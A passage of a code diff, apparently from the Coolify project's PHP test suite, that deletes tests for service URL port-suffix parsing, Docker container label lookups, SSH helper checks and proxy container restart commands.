expect($fqdn)->toBe('https://test.abc/api');
|
||||
});
|
||||
|
||||
test('fqdnValueForEnv path handling works correctly', function () {
|
||||
$fqdnValueForEnv = 'test.abc';
|
||||
$path = '/v1/realtime';
|
||||
|
||||
// First append
|
||||
if (! str($fqdnValueForEnv)->endsWith($path)) {
|
||||
$fqdnValueForEnv = "$fqdnValueForEnv$path";
|
||||
}
|
||||
expect($fqdnValueForEnv)->toBe('test.abc/v1/realtime');
|
||||
|
||||
// Second attempt should not duplicate
|
||||
if (! str($fqdnValueForEnv)->endsWith($path)) {
|
||||
$fqdnValueForEnv = "$fqdnValueForEnv$path";
|
||||
}
|
||||
expect($fqdnValueForEnv)->toBe('test.abc/v1/realtime');
|
||||
});
|
||||
|
||||
test('url path handling works correctly', function () {
|
||||
$url = 'https://test.abc';
|
||||
$path = '/v1/realtime';
|
||||
|
||||
// First append
|
||||
if (! str($url)->endsWith($path)) {
|
||||
$url = "$url$path";
|
||||
}
|
||||
expect($url)->toBe('https://test.abc/v1/realtime');
|
||||
|
||||
// Second attempt should not duplicate
|
||||
if (! str($url)->endsWith($path)) {
|
||||
$url = "$url$path";
|
||||
}
|
||||
expect($url)->toBe('https://test.abc/v1/realtime');
|
||||
});
|
||||
@@ -53,83 +53,6 @@ it('detects port suffix using numeric check (correct logic)', function () {
|
||||
}
|
||||
});
|
||||
|
||||
it('shows current underscore-counting logic fails for some patterns', function () {
|
||||
// This demonstrates the CURRENT BROKEN logic: substr_count === 3
|
||||
|
||||
$testCases = [
|
||||
// [variable_name, underscore_count, should_detect_port]
|
||||
|
||||
// Works correctly with current logic (3 underscores total)
|
||||
['SERVICE_URL_APP_3000', 3, true], // 3 underscores ✓
|
||||
['SERVICE_URL_API_8080', 3, true], // 3 underscores ✓
|
||||
|
||||
// FAILS: 4 underscores (two-word service + port) - current logic says no port
|
||||
['SERVICE_URL_MY_API_8080', 4, true], // 4 underscores ✗
|
||||
['SERVICE_URL_WEB_APP_3000', 4, true], // 4 underscores ✗
|
||||
|
||||
// FAILS: 5+ underscores (three-word service + port) - current logic says no port
|
||||
['SERVICE_URL_REDIS_CACHE_SERVER_6379', 5, true], // 5 underscores ✗
|
||||
['SERVICE_URL_MY_LONG_APP_8080', 5, true], // 5 underscores ✗
|
||||
|
||||
// Works correctly (no port, not 3 underscores)
|
||||
['SERVICE_URL_MY_APP', 3, false], // 3 underscores but non-numeric ✓
|
||||
['SERVICE_URL_APP', 2, false], // 2 underscores ✓
|
||||
];
|
||||
|
||||
foreach ($testCases as [$varName, $expectedUnderscoreCount, $shouldDetectPort]) {
|
||||
$key = str($varName);
|
||||
|
||||
// Current logic: count underscores
|
||||
$underscoreCount = substr_count($key->value(), '_');
|
||||
expect($underscoreCount)->toBe($expectedUnderscoreCount, "Underscore count for $varName");
|
||||
|
||||
$currentLogicDetectsPort = ($underscoreCount === 3);
|
||||
|
||||
// Correct logic: check if numeric
|
||||
$lastSegment = $key->afterLast('_')->value();
|
||||
$correctLogicDetectsPort = is_numeric($lastSegment);
|
||||
|
||||
expect($correctLogicDetectsPort)->toBe($shouldDetectPort, "Correct logic should detect port for $varName");
|
||||
|
||||
// Show the discrepancy where current logic fails
|
||||
if ($currentLogicDetectsPort !== $correctLogicDetectsPort) {
|
||||
// This is a known bug - current logic is wrong
|
||||
expect($currentLogicDetectsPort)->not->toBe($correctLogicDetectsPort, "Bug confirmed: current logic wrong for $varName");
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
it('generates correct URL with port suffix', function () {
|
||||
// Test that URLs are correctly formatted with port appended
|
||||
|
||||
$testCases = [
|
||||
['http://umami-abc123.domain.com', '3000', 'http://umami-abc123.domain.com:3000'],
|
||||
['http://api-xyz789.domain.com', '8080', 'http://api-xyz789.domain.com:8080'],
|
||||
['https://db-server.example.com', '5432', 'https://db-server.example.com:5432'],
|
||||
['http://app.local', '80', 'http://app.local:80'],
|
||||
];
|
||||
|
||||
foreach ($testCases as [$baseUrl, $port, $expectedUrlWithPort]) {
|
||||
$urlWithPort = "$baseUrl:$port";
|
||||
expect($urlWithPort)->toBe($expectedUrlWithPort);
|
||||
}
|
||||
});
|
||||
|
||||
it('generates correct FQDN with port suffix', function () {
|
||||
// Test that FQDNs are correctly formatted with port appended
|
||||
|
||||
$testCases = [
|
||||
['umami-abc123.domain.com', '3000', 'umami-abc123.domain.com:3000'],
|
||||
['postgres-xyz789.domain.com', '5432', 'postgres-xyz789.domain.com:5432'],
|
||||
['redis-cache.example.com', '6379', 'redis-cache.example.com:6379'],
|
||||
];
|
||||
|
||||
foreach ($testCases as [$baseFqdn, $port, $expectedFqdnWithPort]) {
|
||||
$fqdnWithPort = "$baseFqdn:$port";
|
||||
expect($fqdnWithPort)->toBe($expectedFqdnWithPort);
|
||||
}
|
||||
});
|
||||
|
||||
it('correctly identifies service name with various patterns', function () {
|
||||
// Test service name extraction with different patterns
|
||||
|
||||
|
||||
@@ -1,178 +1,5 @@
|
||||
<?php
|
||||
|
||||
/**
|
||||
* Unit tests to verify that SERVICE_URL_* and SERVICE_FQDN_* variables
|
||||
* with port suffixes are properly handled and populated.
|
||||
*
|
||||
* These variables should include the port number in both the key name and the URL value.
|
||||
* Example: SERVICE_URL_UMAMI_3000 should be populated with http://domain.com:3000
|
||||
*/
|
||||
it('ensures parsers.php populates port-specific SERVICE variables', function () {
|
||||
$parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
|
||||
|
||||
// Check that the fix is in place
|
||||
$hasPortSpecificComment = str_contains($parsersFile, 'For port-specific variables');
|
||||
$usesFqdnWithPort = str_contains($parsersFile, '$fqdnWithPort');
|
||||
$usesUrlWithPort = str_contains($parsersFile, '$urlWithPort');
|
||||
|
||||
expect($hasPortSpecificComment)->toBeTrue('Should have comment about port-specific variables');
|
||||
expect($usesFqdnWithPort)->toBeTrue('Should use $fqdnWithPort for port variables');
|
||||
expect($usesUrlWithPort)->toBeTrue('Should use $urlWithPort for port variables');
|
||||
});
|
||||
|
||||
it('verifies SERVICE_URL variable naming convention', function () {
|
||||
// Test the naming convention for port-specific variables
|
||||
|
||||
// Base variable (no port): SERVICE_URL_UMAMI
|
||||
$baseKey = 'SERVICE_URL_UMAMI';
|
||||
expect(substr_count($baseKey, '_'))->toBe(2);
|
||||
|
||||
// Port-specific variable: SERVICE_URL_UMAMI_3000
|
||||
$portKey = 'SERVICE_URL_UMAMI_3000';
|
||||
expect(substr_count($portKey, '_'))->toBe(3);
|
||||
|
||||
// Extract service name
|
||||
$serviceName = str($portKey)->after('SERVICE_URL_')->beforeLast('_')->lower()->value();
|
||||
expect($serviceName)->toBe('umami');
|
||||
|
||||
// Extract port
|
||||
$port = str($portKey)->afterLast('_')->value();
|
||||
expect($port)->toBe('3000');
|
||||
});
|
||||
|
||||
it('verifies SERVICE_FQDN variable naming convention', function () {
|
||||
// Test the naming convention for port-specific FQDN variables
|
||||
|
||||
// Base variable (no port): SERVICE_FQDN_POSTGRES
|
||||
$baseKey = 'SERVICE_FQDN_POSTGRES';
|
||||
expect(substr_count($baseKey, '_'))->toBe(2);
|
||||
|
||||
// Port-specific variable: SERVICE_FQDN_POSTGRES_5432
|
||||
$portKey = 'SERVICE_FQDN_POSTGRES_5432';
|
||||
expect(substr_count($portKey, '_'))->toBe(3);
|
||||
|
||||
// Extract service name
|
||||
$serviceName = str($portKey)->after('SERVICE_FQDN_')->beforeLast('_')->lower()->value();
|
||||
expect($serviceName)->toBe('postgres');
|
||||
|
||||
// Extract port
|
||||
$port = str($portKey)->afterLast('_')->value();
|
||||
expect($port)->toBe('5432');
|
||||
});
|
||||
|
||||
it('verifies URL with port format', function () {
|
||||
// Test that URLs with ports are formatted correctly
|
||||
$baseUrl = 'http://umami-abc123.domain.com';
|
||||
$port = '3000';
|
||||
|
||||
$urlWithPort = "$baseUrl:$port";
|
||||
|
||||
expect($urlWithPort)->toBe('http://umami-abc123.domain.com:3000');
|
||||
expect($urlWithPort)->toContain(':3000');
|
||||
});
|
||||
|
||||
it('verifies FQDN with port format', function () {
|
||||
// Test that FQDNs with ports are formatted correctly
|
||||
$baseFqdn = 'postgres-xyz789.domain.com';
|
||||
$port = '5432';
|
||||
|
||||
$fqdnWithPort = "$baseFqdn:$port";
|
||||
|
||||
expect($fqdnWithPort)->toBe('postgres-xyz789.domain.com:5432');
|
||||
expect($fqdnWithPort)->toContain(':5432');
|
||||
});
|
||||
|
||||
it('verifies port extraction from variable name', function () {
|
||||
// Test extracting port from various variable names
|
||||
$tests = [
|
||||
'SERVICE_URL_APP_3000' => '3000',
|
||||
'SERVICE_URL_API_8080' => '8080',
|
||||
'SERVICE_FQDN_DB_5432' => '5432',
|
||||
'SERVICE_FQDN_REDIS_6379' => '6379',
|
||||
];
|
||||
|
||||
foreach ($tests as $varName => $expectedPort) {
|
||||
$port = str($varName)->afterLast('_')->value();
|
||||
expect($port)->toBe($expectedPort, "Port extraction failed for $varName");
|
||||
}
|
||||
});
|
||||
|
||||
it('verifies service name extraction with port suffix', function () {
|
||||
// Test extracting service name when port is present
|
||||
$tests = [
|
||||
'SERVICE_URL_APP_3000' => 'app',
|
||||
'SERVICE_URL_MY_API_8080' => 'my_api',
|
||||
'SERVICE_FQDN_DB_5432' => 'db',
|
||||
'SERVICE_FQDN_REDIS_CACHE_6379' => 'redis_cache',
|
||||
];
|
||||
|
||||
foreach ($tests as $varName => $expectedService) {
|
||||
if (str($varName)->startsWith('SERVICE_URL_')) {
|
||||
$serviceName = str($varName)->after('SERVICE_URL_')->beforeLast('_')->lower()->value();
|
||||
} else {
|
||||
$serviceName = str($varName)->after('SERVICE_FQDN_')->beforeLast('_')->lower()->value();
|
||||
}
|
||||
expect($serviceName)->toBe($expectedService, "Service name extraction failed for $varName");
|
||||
}
|
||||
});
|
||||
|
||||
it('verifies distinction between base and port-specific variables', function () {
|
||||
// Test that base and port-specific variables are different
|
||||
$baseUrl = 'SERVICE_URL_UMAMI';
|
||||
$portUrl = 'SERVICE_URL_UMAMI_3000';
|
||||
|
||||
expect($baseUrl)->not->toBe($portUrl);
|
||||
expect(substr_count($baseUrl, '_'))->toBe(2);
|
||||
expect(substr_count($portUrl, '_'))->toBe(3);
|
||||
|
||||
// Port-specific should contain port number
|
||||
expect(str($portUrl)->contains('_3000'))->toBeTrue();
|
||||
expect(str($baseUrl)->contains('_3000'))->toBeFalse();
|
||||
});
|
||||
|
||||
it('verifies multiple port variables for same service', function () {
|
||||
// Test that a service can have multiple port-specific variables
|
||||
$service = 'api';
|
||||
$ports = ['3000', '8080', '9090'];
|
||||
|
||||
foreach ($ports as $port) {
|
||||
$varName = "SERVICE_URL_API_$port";
|
||||
|
||||
// Should have 3 underscores
|
||||
expect(substr_count($varName, '_'))->toBe(3);
|
||||
|
||||
// Should extract correct service name
|
||||
$serviceName = str($varName)->after('SERVICE_URL_')->beforeLast('_')->lower()->value();
|
||||
expect($serviceName)->toBe('api');
|
||||
|
||||
// Should extract correct port
|
||||
$extractedPort = str($varName)->afterLast('_')->value();
|
||||
expect($extractedPort)->toBe($port);
|
||||
}
|
||||
});
|
||||
|
||||
it('verifies common port numbers are handled correctly', function () {
|
||||
// Test common port numbers used in applications
|
||||
$commonPorts = [
|
||||
'80' => 'HTTP',
|
||||
'443' => 'HTTPS',
|
||||
'3000' => 'Node.js/React',
|
||||
'5432' => 'PostgreSQL',
|
||||
'6379' => 'Redis',
|
||||
'8080' => 'Alternative HTTP',
|
||||
'9000' => 'PHP-FPM',
|
||||
];
|
||||
|
||||
foreach ($commonPorts as $port => $description) {
|
||||
$varName = "SERVICE_URL_APP_$port";
|
||||
|
||||
expect(substr_count($varName, '_'))->toBe(3, "Failed for $description port $port");
|
||||
|
||||
$extractedPort = str($varName)->afterLast('_')->value();
|
||||
expect($extractedPort)->toBe((string) $port, "Port extraction failed for $description");
|
||||
}
|
||||
});
|
||||
|
||||
it('detects port-specific variables with numeric suffix', function () {
|
||||
// Test that variables ending with a numeric port are detected correctly
|
||||
// This tests the logic: if last segment after _ is numeric, it's a port
|
||||
|
||||
@@ -1,33 +0,0 @@
|
||||
<?php
|
||||
|
||||
/**
|
||||
* Runtime Logs must query Docker with the label that matches the resource type.
|
||||
* Applications use coolify.applicationId, services coolify.serviceId, databases coolify.databaseId.
|
||||
* Using the application helper for services/databases returns empty results even when containers run.
|
||||
*/
|
||||
it('looks up containers with the correct helper for each resource type', function () {
|
||||
$logsFile = file_get_contents(__DIR__.'/../../app/Livewire/Project/Shared/Logs.php');
|
||||
|
||||
expect($logsFile)
|
||||
->toContain('getCurrentApplicationContainerStatus(')
|
||||
->toContain('getCurrentServiceContainerStatus(')
|
||||
->toContain('getCurrentDatabaseContainerStatus(')
|
||||
->toContain('$this->resource instanceof Application')
|
||||
->toContain('$this->resource instanceof Service');
|
||||
});
|
||||
|
||||
it('filters application containers by coolify.applicationId', function () {
|
||||
$dockerHelpers = file_get_contents(__DIR__.'/../../bootstrap/helpers/docker.php');
|
||||
|
||||
expect($dockerHelpers)->toContain('label=coolify.applicationId=');
|
||||
});
|
||||
|
||||
it('filters service and database containers by the correct coolify labels', function () {
|
||||
$dockerHelpers = file_get_contents(__DIR__.'/../../bootstrap/helpers/docker.php');
|
||||
|
||||
expect($dockerHelpers)
|
||||
->toContain('function getCurrentServiceContainerStatus')
|
||||
->toContain('label=coolify.serviceId=')
|
||||
->toContain('function getCurrentDatabaseContainerStatus')
|
||||
->toContain('label=coolify.databaseId=');
|
||||
});
|
||||
@@ -80,15 +80,6 @@ it('strips non-numeric characters from server port on write', function () {
|
||||
// escapeshellarg() in generated SSH commands (source-level verification)
|
||||
// -------------------------------------------------------------------------
|
||||
|
||||
it('has escapedUserAtHost private static helper in SshMultiplexingHelper', function () {
|
||||
$reflection = new ReflectionClass(SshMultiplexingHelper::class);
|
||||
expect($reflection->hasMethod('escapedUserAtHost'))->toBeTrue();
|
||||
|
||||
$method = $reflection->getMethod('escapedUserAtHost');
|
||||
expect($method->isPrivate())->toBeTrue();
|
||||
expect($method->isStatic())->toBeTrue();
|
||||
});
|
||||
|
||||
it('wraps port with escapeshellarg in getCommonSshOptions', function () {
|
||||
$reflection = new ReflectionClass(SshMultiplexingHelper::class);
|
||||
$source = file_get_contents($reflection->getFileName());
|
||||
|
||||
@@ -190,19 +190,4 @@ class SshKeyValidationTest extends TestCase
|
||||
// Lock file should persist (not be deleted) to prevent flock race conditions
|
||||
$this->assertFileExists($lockFile, 'Lock file should persist after storeInFileSystem');
|
||||
}
|
||||
|
||||
public function test_server_model_detects_private_key_id_changes()
|
||||
{
|
||||
$reflection = new \ReflectionMethod(\App\Models\Server::class, 'booted');
|
||||
$filename = $reflection->getFileName();
|
||||
$startLine = $reflection->getStartLine();
|
||||
$endLine = $reflection->getEndLine();
|
||||
$source = implode('', array_slice(file($filename), $startLine - 1, $endLine - $startLine + 1));
|
||||
|
||||
$this->assertStringContainsString(
|
||||
"wasChanged('private_key_id')",
|
||||
$source,
|
||||
'Server saved event should detect private_key_id changes'
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -15,14 +15,6 @@ use Tests\TestCase;
|
||||
*/
|
||||
class SshMultiplexingDisableTest extends TestCase
|
||||
{
|
||||
public function test_generate_ssh_command_method_exists()
|
||||
{
|
||||
$this->assertTrue(
|
||||
method_exists(SshMultiplexingHelper::class, 'generateSshCommand'),
|
||||
'generateSshCommand method should exist'
|
||||
);
|
||||
}
|
||||
|
||||
public function test_remote_shell_prefers_bash_and_falls_back_to_sh()
|
||||
{
|
||||
$reflection = new \ReflectionMethod(SshMultiplexingHelper::class, 'remoteShellCommand');
|
||||
|
||||
@@ -8,16 +8,6 @@ use Tests\TestCase;
|
||||
|
||||
class SshRetryMechanismTest extends TestCase
|
||||
{
|
||||
public function test_ssh_retry_handler_exists()
|
||||
{
|
||||
$this->assertTrue(class_exists(SshRetryHandler::class));
|
||||
}
|
||||
|
||||
public function test_ssh_retryable_trait_exists()
|
||||
{
|
||||
$this->assertTrue(trait_exists(SshRetryable::class));
|
||||
}
|
||||
|
||||
public function test_retry_on_ssh_connection_errors()
|
||||
{
|
||||
$handler = new class
|
||||
|
||||
@@ -1,87 +0,0 @@
|
||||
<?php
|
||||
|
||||
// Test the proxy restart container cleanup logic
|
||||
it('ensures container cleanup includes wait loop in command sequence', function () {
|
||||
// This test verifies that the StartProxy action includes proper container
|
||||
// cleanup with a wait loop to prevent "container name already in use" errors
|
||||
|
||||
// Simulate the command generation pattern from StartProxy
|
||||
$commands = collect([
|
||||
'mkdir -p /data/coolify/proxy/dynamic',
|
||||
'cd /data/coolify/proxy',
|
||||
"echo 'Creating required Docker Compose file.'",
|
||||
"echo 'Pulling docker image.'",
|
||||
'docker compose pull',
|
||||
'if docker ps -a --format "{{.Names}}" | grep -q "^coolify-proxy$"; then',
|
||||
" echo 'Stopping and removing existing coolify-proxy.'",
|
||||
' docker stop coolify-proxy 2>/dev/null || true',
|
||||
' docker rm -f coolify-proxy 2>/dev/null || true',
|
||||
' # Wait for container to be fully removed',
|
||||
' for i in {1..10}; do',
|
||||
' if ! docker ps -a --format "{{.Names}}" | grep -q "^coolify-proxy$"; then',
|
||||
' break',
|
||||
' fi',
|
||||
' echo "Waiting for coolify-proxy to be removed... ($i/10)"',
|
||||
' sleep 1',
|
||||
' done',
|
||||
" echo 'Successfully stopped and removed existing coolify-proxy.'",
|
||||
'fi',
|
||||
"echo 'Starting coolify-proxy.'",
|
||||
'docker compose up -d --wait --remove-orphans',
|
||||
"echo 'Successfully started coolify-proxy.'",
|
||||
]);
|
||||
|
||||
$commandsString = $commands->implode("\n");
|
||||
|
||||
// Verify the cleanup sequence includes all required components
|
||||
expect($commandsString)->toContain('docker stop coolify-proxy 2>/dev/null || true')
|
||||
->and($commandsString)->toContain('docker rm -f coolify-proxy 2>/dev/null || true')
|
||||
->and($commandsString)->toContain('for i in {1..10}; do')
|
||||
->and($commandsString)->toContain('if ! docker ps -a --format "{{.Names}}" | grep -q "^coolify-proxy$"; then')
|
||||
->and($commandsString)->toContain('break')
|
||||
->and($commandsString)->toContain('sleep 1')
|
||||
->and($commandsString)->toContain('docker compose up -d --wait --remove-orphans');
|
||||
|
||||
// Verify the order: cleanup must come before compose up
|
||||
$stopPosition = strpos($commandsString, 'docker stop coolify-proxy');
|
||||
$waitLoopPosition = strpos($commandsString, 'for i in {1..10}');
|
||||
$composeUpPosition = strpos($commandsString, 'docker compose up -d');
|
||||
|
||||
expect($stopPosition)->toBeLessThan($waitLoopPosition)
|
||||
->and($waitLoopPosition)->toBeLessThan($composeUpPosition);
|
||||
});
|
||||
|
||||
it('includes error suppression in container cleanup commands', function () {
|
||||
// Test that cleanup commands suppress errors to prevent failures
|
||||
// when the container doesn't exist
|
||||
|
||||
$cleanupCommands = [
|
||||
' docker stop coolify-proxy 2>/dev/null || true',
|
||||
' docker rm -f coolify-proxy 2>/dev/null || true',
|
||||
];
|
||||
|
||||
foreach ($cleanupCommands as $command) {
|
||||
expect($command)->toContain('2>/dev/null || true');
|
||||
}
|
||||
});
|
||||
|
||||
it('waits up to 10 seconds for container removal', function () {
|
||||
// Verify the wait loop has correct bounds
|
||||
|
||||
$waitLoop = [
|
||||
' for i in {1..10}; do',
|
||||
' if ! docker ps -a --format "{{.Names}}" | grep -q "^coolify-proxy$"; then',
|
||||
' break',
|
||||
' fi',
|
||||
' echo "Waiting for coolify-proxy to be removed... ($i/10)"',
|
||||
' sleep 1',
|
||||
' done',
|
||||
];
|
||||
|
||||
$loopString = implode("\n", $waitLoop);
|
||||
|
||||
// Verify loop iterates 10 times
|
||||
expect($loopString)->toContain('{1..10}')
|
||||
->and($loopString)->toContain('sleep 1')
|
||||
->and($loopString)->toContain('break'); // Early exit when container is gone
|
||||
});
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user